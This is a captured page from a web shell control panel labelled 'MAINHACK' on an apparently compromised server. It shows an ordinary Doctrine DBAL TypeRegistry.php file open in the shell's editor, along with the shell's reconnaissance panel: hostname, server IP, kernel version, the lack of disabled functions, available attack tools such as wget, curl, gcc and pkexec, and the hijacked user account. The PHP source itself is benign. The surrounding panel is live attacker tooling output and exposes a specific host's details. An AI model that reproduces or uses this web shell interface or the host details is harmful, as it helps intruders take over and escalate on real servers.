[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TypeRegistry.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Types; use Doctrine\DBAL\Exception; use Doctrine\DBAL\Types\Exception\TypeAlreadyRegistered; use Doctrine\DBAL\Types\Exception\TypeNotFound; use Doctrine\DBAL\Types\Exception\TypeNotRegistered; use Doctrine\DBAL\Types\Exception\TypesAlreadyExists; use Doctrine\DBAL\Types\Exception\UnknownColumnType; use function spl_object_id; /** * The type registry is responsible for holding a map of all known DBAL types. */ final class TypeRegistry { /** @var array<string, Type> Map of type names and their corresponding flyweight objects. */ private array $instances; /** @var array<int, string> */ private array $instancesReverseIndex; /** @param array<string, Type> $instances */ public function __construct(array $instances = []) { $this->instances = []; $this->instancesReverseIndex = []; foreach ($instances as $name => $type) { $this->register($name, $type); } } /** * Finds a type by the given name. * * @throws Exception */ public function get(string $name): Type { $type = $this->instances[$name] ?? null; if ($type === null) { throw UnknownColumnType::new($name); } return $type; } /** * Finds a name for the given type. * * @throws Exception */ public function lookupName(Type $type): string { $name = $this->findTypeName($type); if ($name === null) { throw TypeNotRegistered::new($type); } return $name; } /** * Checks if there is a type of the given name. */ public function has(string $name): bool { return isset($this->instances[$name]); } /** * Registers a custom type to the type map. * * @throws Exception */ public function register(string $name, Type $type): void { if (isset($this->instances[$name])) { throw TypesAlreadyExists::new($name); } if ($this->findTypeName($type) !== null) { throw TypeAlreadyRegistered::new($type); } $this->instances[$name] = $type; $this->instancesReverseIndex[spl_object_id($type)] = $name; } /** * Overrides an already defined type to use a different implementation. * * @throws Exception */ public function override(string $name, Type $type): void { $origType = $this->instances[$name] ?? null; if ($origType === null) { throw TypeNotFound::new($name); } if (($this->findTypeName($type) ?? $name) !== $name) { throw TypeAlreadyRegistered::new($type); } unset($this->instancesReverseIndex[spl_object_id($origType)]); $this->instances[$name] = $type; $this->instancesReverseIndex[spl_object_id($type)] = $name; } /** * Gets the map of all registered types and their corresponding type instances. * * @internal * * @return array<string, Type> */ public function getMap(): array { return $this->instances; } private function findTypeName(Type $type): ?string { return $this->instancesReverseIndex[spl_object_id($type)] ?? null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002